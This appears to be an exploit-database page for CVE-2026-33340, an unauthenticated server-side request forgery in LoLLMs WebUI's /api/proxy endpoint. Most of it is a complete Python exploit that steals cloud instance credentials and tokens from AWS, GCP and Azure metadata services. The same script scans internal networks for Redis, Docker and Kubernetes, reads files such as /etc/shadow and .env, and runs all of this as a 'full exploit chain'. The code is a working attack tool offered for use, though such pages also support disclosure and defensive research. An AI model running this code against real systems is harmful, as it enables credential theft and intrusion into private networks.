| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2026-33340 | 24 Mar 202615:58 | โ | attackerkb | |
| CVE-2026-33340 | 29 Mar 202617:02 | โ | circl | |
| LoLLMs WEBUI ๅฎๅ จๆผๆด | 24 Mar 202600:00 | โ | cnnvd | |
| CVE-2026-33340 | 24 Mar 202615:58 | โ | cve | |
| CVE-2026-33340 LoLLMs WEBUI has unauthenticated Server-Side Request Forgery (SSRF) in /api/proxy endpoint | 24 Mar 202615:58 | โ | cvelist | |
| EUVD-2026-14928 | 24 Mar 202615:58 | โ | euvd | |
| LoLLMs WEBUI - Server-Side Request Forgery | 22 Jun 202605:20 | โ | nuclei | |
| CVE-2026-33340 | 24 Mar 202617:16 | โ | nvd | |
| ๐ lollms-webui Server-Side Request Forgery | 31 Mar 202600:00 | โ | packetstorm | |
| PT-2026-27456 | 24 Mar 202600:00 | โ | ptsecurity |
==================================================================================================================================
| # Title : lollms-webui SSRF for Cloud Metadata Leakage and Internal Network Pivoting |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://lollms.com/ |
==================================================================================================================================
[+] Summary : This code is an advanced SSRF designed to simulate the security impact of a vulnerable web application endpoint.
Vulnerability testing of a target SSRF endpoint (/api/proxy)
[+] POC :
#!/usr/bin/env python3
import requests
import json
import argparse
import sys
import time
import socket
import ipaddress
import base64
from urllib.parse import urlparse, urljoin
from concurrent.futures import ThreadPoolExecutor, as_completed
from typing import List, Dict, Optional, Tuple
import logging
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)
CLOUD_METADATA = {
"aws_imdsv1": {
"url": "http://169.254.169.254/latest/meta-data/",
"description": "AWS Instance Metadata Service v1",
"critical_paths": [
"iam/security-credentials/",
"local-ipv4",
"public-ipv4",
"instance-id",
"instance-type",
"ami-id",
"hostname",
"placement/availability-zone",
"security-groups",
"mac",
"network/interfaces/macs/"
]
},
"aws_imdsv2": {
"url": "http://169.254.169.254/latest/api/token",
"description": "AWS IMDSv2 (requires token)",
"method": "PUT",
"headers": {"X-aws-ec2-metadata-token-ttl-seconds": "21600"}
},
"gcp": {
"url": "http://metadata.google.internal/computeMetadata/v1/",
"headers": {"Metadata-Flavor": "Google"},
"critical_paths": [
"instance/service-accounts/default/token",
"instance/service-accounts/default/email",
"instance/id",
"instance/name",
"instance/zone",
"project/project-id",
"instance/attributes/ssh-keys"
]
},
"azure": {
"url": "http://169.254.169.254/metadata/instance",
"params": {"api-version": "2021-02-01", "format": "json"},
"headers": {"Metadata": "true"},
"critical_paths": [
"compute/name",
"compute/vmId",
"compute/subscriptionId",
"compute/resourceGroupName",
"compute/location",
"network/interface/0/ipv4/ipAddress"
]
},
"digitalocean": {
"url": "http://169.254.169.254/metadata/v1.json",
"critical_paths": [
"droplet_id",
"hostname",
"region",
"public_ipv4",
"private_ipv4"
]
},
"vultr": {
"url": "http://169.254.169.254/v1.json",
"critical_paths": [
"instanceid",
"region",
"interfaces/0/ipv4/address"
]
},
"openstack": {
"url": "http://169.254.169.254/openstack/latest/meta_data.json",
"critical_paths": [
"uuid",
"name",
"availability_zone",
"project_id"
]
}
}
INTERNAL_SERVICES = {
"redis": {"port": 6379, "probe": "PING\r\n", "response": "+PONG"},
"elasticsearch": {"port": 9200, "probe": "/", "response": "cluster_name"},
"mysql": {"port": 3306, "probe": None, "tcp": True},
"postgresql": {"port": 5432, "probe": None, "tcp": True},
"mongodb": {"port": 27017, "probe": None, "tcp": True},
"docker_api": {"port": 2375, "probe": "/version", "response": "ApiVersion"},
"docker_api_tls": {"port": 2376, "probe": "/version", "response": "ApiVersion"},
"kubernetes_api": {"port": 6443, "probe": "/api/v1/namespaces/default/pods", "response": "kind"},
"jenkins": {"port": 8080, "probe": "/api/json", "response": "jobs"},
"grafana": {"port": 3000, "probe": "/api/health", "response": "ok"},
"prometheus": {"port": 9090, "probe": "/api/v1/status/config", "response": "yaml"},
"kibana": {"port": 5601, "probe": "/api/status", "response": "version"},
"spark_master": {"port": 8080, "probe": "/json", "response": "workers"},
"hadoop_namenode": {"port": 9870, "probe": "/jmx?qry=Hadoop:*", "response": "NameNode"},
"consul": {"port": 8500, "probe": "/v1/agent/self", "response": "Config"},
"etcd": {"port": 2379, "probe": "/version", "response": "etcdversion"},
"cassandra": {"port": 9042, "probe": None, "tcp": True},
"rabbitmq": {"port": 15672, "probe": "/api/overview", "response": "rabbitmq"},
"nginx_status": {"port": 80, "probe": "/nginx_status", "response": "Active connections"},
"php_fpm_status": {"port": 9000, "probe": "/status", "response": "pool"},
}
LOCAL_NETWORKS = [
"127.0.0.0/8",
"10.0.0.0/8",
"172.16.0.0/12",
"192.168.0.0/16",
"169.254.0.0/16",
]
class LollmsSSRFExploit:
"""Main exploit class for CVE-2026-33340"""
def __init__(self, target_url: str, timeout: int = 10, verbose: bool = False):
"""
Initialize exploit
Args:
target_url: Target lollms-webui URL (e.g., http://target:9600)
timeout: Request timeout in seconds
verbose: Enable verbose output
"""
self.target_url = target_url.rstrip('/')
self.proxy_endpoint = f"{self.target_url}/api/proxy"
self.timeout = timeout
self.verbose = verbose
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Content-Type': 'application/json'
})
self.discovered_data = {}
def _make_request(self, url: str) -> Optional[Dict]:
"""
Make SSRF request to internal target
Args:
url: Target URL to fetch
Returns:
Response dict or None on failure
"""
payload = {"url": url}
try:
if self.verbose:
logger.debug(f"[*] SSRF Request: {url}")
response = self.session.post(
self.proxy_endpoint,
json=payload,
timeout=self.timeout
)
if response.status_code == 200:
result = response.json()
return result
else:
if self.verbose:
logger.debug(f"[-] HTTP {response.status_code}: {response.text[:100]}")
return None
except requests.exceptions.Timeout:
logger.debug(f"[!] Timeout: {url}")
return None
except requests.exceptions.ConnectionError as e:
logger.debug(f"[!] Connection error: {e}")
return None
except json.JSONDecodeError:
logger.debug(f"[!] Invalid JSON response")
return None
except Exception as e:
logger.debug(f"[!] Error: {e}")
return None
def test_vulnerability(self) -> bool:
"""
Test if the target is vulnerable to SSRF
Returns:
True if vulnerable, False otherwise
"""
logger.info("[*] Testing vulnerability...")
test_url = "http://localhost:9600/api/info"
result = self._make_request(test_url)
if result and "content" in result:
logger.info("[+] Target appears VULNERABLE!")
return True
else:
logger.warning("[-] Target may not be vulnerable")
return False
def steal_aws_metadata(self) -> Dict:
"""Steal AWS EC2 metadata"""
logger.info("[*] Attempting to steal AWS metadata...")
data = {}
for path in CLOUD_METADATA["aws_imdsv1"]["critical_paths"]:
url = urljoin(CLOUD_METADATA["aws_imdsv1"]["url"], path)
result = self._make_request(url)
if result and result.get("content"):
data[path] = result["content"].strip()
logger.info(f"[+] AWS {path}: {result['content'][:100]}")
if "security-credentials" in path and result["content"].strip():
role = result["content"].strip()
creds_url = f"{CLOUD_METADATA['aws_imdsv1']['url']}iam/security-credentials/{role}"
creds_result = self._make_request(creds_url)
if creds_result:
try:
creds = json.loads(creds_result["content"])
data["credentials"] = creds
logger.warning(f"[!!!] AWS IAM CREDENTIALS STOLEN: {creds.get('AccessKeyId')}")
except:
data["credentials_raw"] = creds_result["content"]
return data
def steal_gcp_metadata(self) -> Dict:
"""Steal GCP metadata"""
logger.info("[*] Attempting to steal GCP metadata...")
data = {}
base_url = CLOUD_METADATA["gcp"]["url"]
headers = CLOUD_METADATA["gcp"]["headers"]
self.session.headers.update(headers)
for path in CLOUD_METADATA["gcp"]["critical_paths"]:
url = urljoin(base_url, path)
result = self._make_request(url)
if result and result.get("content"):
data[path] = result["content"].strip()
logger.info(f"[+] GCP {path}: {result['content'][:100]}")
if "token" in path:
try:
token_data = json.loads(result["content"])
data["access_token"] = token_data.get("access_token")
logger.warning(f"[!!!] GCP ACCESS TOKEN STOLEN: {data['access_token'][:50]}...")
except:
pass
self.session.headers.pop("Metadata-Flavor", None)
return data
def steal_azure_metadata(self) -> Dict:
"""Steal Azure instance metadata"""
logger.info("[*] Attempting to steal Azure metadata...")
data = {}
url = CLOUD_METADATA["azure"]["url"]
params = CLOUD_METADATA["azure"]["params"]
headers = CLOUD_METADATA["azure"]["headers"]
self.session.headers.update(headers)
result = self._make_request(f"{url}?{requests.compat.urlencode(params)}")
if result and result.get("content"):
try:
metadata = json.loads(result["content"])
data["metadata"] = metadata
compute = metadata.get("compute", {})
for key in ["name", "vmId", "subscriptionId", "resourceGroupName", "location"]:
if key in compute:
logger.info(f"[+] Azure {key}: {compute[key]}")
data[key] = compute[key]
network = metadata.get("network", {})
interface = network.get("interface", [{}])[0]
ipv4 = interface.get("ipv4", {})
ip_addresses = ipv4.get("ipAddress", [])
for ip in ip_addresses:
if ip.get("privateIpAddress"):
logger.info(f"[+] Azure private IP: {ip['privateIpAddress']}")
data["private_ip"] = ip["privateIpAddress"]
except json.JSONDecodeError:
data["raw"] = result["content"]
self.session.headers.pop("Metadata", None)
return data
def steal_all_cloud_metadata(self) -> Dict:
"""Attempt to steal metadata from all cloud providers"""
all_data = {}
aws_data = self.steal_aws_metadata()
if aws_data:
all_data["aws"] = aws_data
gcp_data = self.steal_gcp_metadata()
if gcp_data:
all_data["gcp"] = gcp_data
azure_data = self.steal_azure_metadata()
if azure_data:
all_data["azure"] = azure_data
for provider, config in CLOUD_METADATA.items():
if provider not in ["aws_imdsv1", "aws_imdsv2", "gcp", "azure"]:
url = config["url"]
result = self._make_request(url)
if result and result.get("content"):
all_data[provider] = result["content"]
logger.info(f"[+] {provider.upper()} metadata found!")
return all_data
def probe_port(self, ip: str, port: int, service_name: str) -> bool:
"""
Probe a specific port for service
Args:
ip: Target IP address
port: Target port
service_name: Name of service to check
Returns:
True if service detected
"""
service = INTERNAL_SERVICES.get(service_name, {})
if service.get("tcp"):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
result = sock.connect_ex((ip, port))
sock.close()
return result == 0
except:
return False
else:
probe_path = service.get("probe", "/")
url = f"http://{ip}:{port}{probe_path}"
response = self._make_request(url)
if response and response.get("content"):
expected = service.get("response", "")
if expected.lower() in response["content"].lower():
return True
return False
def scan_network(self, network_cidr: str, ports: List[int] = None) -> List[Dict]:
"""
Scan internal network for services
Args:
network_cidr: Network to scan (e.g., "192.168.1.0/24")
ports: List of ports to scan (default: all service ports)
Returns:
List of discovered services
"""
if ports is None:
ports = list(set([s["port"] for s in INTERNAL_SERVICES.values()]))
discovered = []
network = ipaddress.ip_network(network_cidr, strict=False)
logger.info(f"[*] Scanning network: {network_cidr}")
for ip in network.hosts():
ip_str = str(ip)
for port in ports:
for service_name, service in INTERNAL_SERVICES.items():
if service["port"] == port:
if self.probe_port(ip_str, port, service_name):
discovered.append({
"ip": ip_str,
"port": port,
"service": service_name
})
logger.info(f"[+] Found {service_name} at {ip_str}:{port}")
return discovered
def scan_local_networks(self) -> List[Dict]:
"""Scan all local network ranges"""
all_discovered = []
for network in LOCAL_NETWORKS:
try:
discovered = self.scan_network(network)
all_discovered.extend(discovered)
except Exception as e:
logger.debug(f"[-] Failed to scan {network}: {e}")
return all_discovered
def read_local_file(self, filepath: str) -> Optional[str]:
"""
Read local file via SSRF (using file:// protocol)
Args:
filepath: Path to file on server
Returns:
File contents or None
"""
urls = [
f"file://{filepath}",
f"http://localhost:9600/{filepath}",
f"http://127.0.0.1/{filepath}",
]
for url in urls:
result = self._make_request(url)
if result and result.get("content"):
logger.info(f"[+] Read file: {filepath}")
return result["content"]
return None
def interact_with_redis(self, redis_host: str = "localhost", redis_port: int = 6379, command: str = "INFO") -> Optional[str]:
"""
Interact with Redis via SSRF
Args:
redis_host: Redis host
redis_port: Redis port
command: Redis command to execute
Returns:
Redis response or None
"""
parts = command.split()
resp = f"*{len(parts)}\r\n"
for part in parts:
resp += f"${len(part)}\r\n{part}\r\n"
url = f"http://{redis_host}:{redis_port}/"
result = self._make_request(url)
if not result:
logger.warning("[-] Redis direct access may require additional headers")
return result.get("content") if result else None
def access_docker_api(self, docker_host: str = "localhost", docker_port: int = 2375) -> Dict:
"""
Access Docker API via SSRF
Args:
docker_host: Docker host
docker_port: Docker port
Returns:
Docker API response
"""
endpoints = [
"/version",
"/containers/json?all=true",
"/images/json",
"/info",
"/_ping"
]
results = {}
for endpoint in endpoints:
url = f"http://{docker_host}:{docker_port}{endpoint}"
result = self._make_request(url)
if result and result.get("content"):
results[endpoint] = result["content"]
logger.info(f"[+] Docker API {endpoint}: {result['content'][:100]}")
if endpoint == "/containers/json" and result["content"]:
try:
containers = json.loads(result["content"])
for container in containers:
logger.warning(f"[!!!] Container found: {container.get('Names', ['unknown'])[0]}")
except:
pass
return results
def full_exploit(self, scan_network: bool = True, steal_cloud: bool = True) -> Dict:
"""
Execute full exploit chain
Args:
scan_network: Enable internal network scanning
steal_cloud: Enable cloud metadata theft
Returns:
Dictionary with all discovered data
"""
results = {
"timestamp": time.time(),
"target": self.target_url,
"vulnerable": False,
"cloud_metadata": {},
"internal_services": [],
"local_files": {},
"docker_api": {}
}
results["vulnerable"] = self.test_vulnerability()
if not results["vulnerable"]:
logger.error("[-] Target not vulnerable!")
return results
if steal_cloud:
logger.info("\n[*] PHASE 1: Cloud Metadata Theft")
results["cloud_metadata"] = self.steal_all_cloud_metadata()
if scan_network:
logger.info("\n[*] PHASE 2: Internal Network Scanning")
results["internal_services"] = self.scan_local_networks()
for service in results["internal_services"]:
if service["service"] == "docker_api":
logger.info(f"[*] Exploiting Docker API at {service['ip']}:{service['port']}")
results["docker_api"] = self.access_docker_api(service["ip"], service["port"])
elif service["service"] == "redis":
logger.info(f"[*] Attempting Redis interaction")
redis_data = self.interact_with_redis(service["ip"], service["port"])
if redis_data:
results[f"redis_{service['ip']}"] = redis_data
logger.info("\n[*] PHASE 3: Local File Reading")
sensitive_files = [
"/etc/passwd",
"/etc/shadow",
"/etc/hosts",
"/proc/self/environ",
"/proc/self/cmdline",
"/var/log/auth.log",
"/root/.bash_history",
"/home/*/.bash_history",
".env",
"config.json",
"config.yaml",
"settings.py",
"secrets.py"
]
for filepath in sensitive_files:
content = self.read_local_file(filepath)
if content:
results["local_files"][filepath] = content[:5000]
return results
def main():
parser = argparse.ArgumentParser(
description='CVE-2026-33340 - lollms-webui SSRF to Cloud Metadata & Internal Network Pivot',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python exploit.py -t http://target:9600 --test
python exploit.py -t http://target:9600 --cloud
python exploit.py -t http://target:9600 --scan
python exploit.py -t http://target:9600 --full
python exploit.py -t http://target:9600 --read-file /etc/passwd
python exploit.py -t http://target:9600 --docker
python exploit.py -t http://target:9600 --full --output results.json
"""
)
parser.add_argument('-t', '--target', required=True, help='Target lollms-webui URL (e.g., http://target:9600)')
parser.add_argument('--test', action='store_true', help='Test if endpoint is vulnerable')
parser.add_argument('--cloud', action='store_true', help='Steal cloud metadata (AWS/GCP/Azure)')
parser.add_argument('--scan', action='store_true', help='Scan internal network for services')
parser.add_argument('--full', action='store_true', help='Execute full exploit chain')
parser.add_argument('--read-file', metavar='FILE', help='Read local file from server')
parser.add_argument('--docker', action='store_true', help='Attempt Docker API access')
parser.add_argument('--output', '-o', help='Output file for results (JSON)')
parser.add_argument('--timeout', type=int, default=10, help='Request timeout (default: 10)')
parser.add_argument('--verbose', '-v', action='store_true', help='Verbose output')
args = parser.parse_args()
print("""
========================================
CVE-2026-33340 - lollms-webui SSRF
Cloud Metadata Theft & Internal Pivot
========================================
""")
exploit = LollmsSSRFExploit(args.target, args.timeout, args.verbose)
results = {}
if args.test:
is_vuln = exploit.test_vulnerability()
results["vulnerable"] = is_vuln
if is_vuln:
print("\n[!!!] TARGET IS VULNERABLE!")
if args.read_file:
content = exploit.read_local_file(args.read_file)
if content:
print(f"\n[+] File content:\n{content}")
results["file_content"] = content
if args.cloud:
metadata = exploit.steal_all_cloud_metadata()
results["cloud_metadata"] = metadata
if metadata:
print("\n[!!!] CLOUD METADATA STOLEN!")
for provider, data in metadata.items():
print(f"\n[{provider.upper()}]")
print(json.dumps(data, indent=2))
if args.scan:
services = exploit.scan_local_networks()
results["internal_services"] = services
if services:
print("\n[+] INTERNAL SERVICES DISCOVERED:")
for service in services:
print(f" {service['service']} at {service['ip']}:{service['port']}")
if args.docker:
docker_data = exploit.access_docker_api()
results["docker_api"] = docker_data
if docker_data:
print("\n[!!!] DOCKER API ACCESSED!")
for endpoint, data in docker_data.items():
print(f"\n[{endpoint}]: {data[:200]}")
if args.full:
print("\n[*] Executing full exploit chain...")
results = exploit.full_exploit(scan_network=True, steal_cloud=True)
print("\n" + "="*60)
print("EXPLOIT RESULTS")
print("="*60)
if results.get("cloud_metadata"):
print(f"\n[+] Cloud Metadata: {len(results['cloud_metadata'])} providers")
if results.get("internal_services"):
print(f"[+] Internal Services: {len(results['internal_services'])} found")
for svc in results["internal_services"]:
print(f" - {svc['service']} at {svc['ip']}:{svc['port']}")
if results.get("local_files"):
print(f"[+] Local Files: {len(results['local_files'])} read")
for f in results["local_files"].keys():
print(f" - {f}")
if results.get("docker_api"):
print(f"[+] Docker API: {len(results['docker_api'])} endpoints")
if args.output:
with open(args.output, 'w') as f:
json.dump(results, f, indent=2, default=str)
print(f"\n[+] Results saved to {args.output}")
if results:
print("\n[+] Exploit completed!")
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation withย Vulners data
Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data
Api
Power your application withย Vulners API
The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access
App
Assess and manage vulnerabilities withย Vulnersย tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation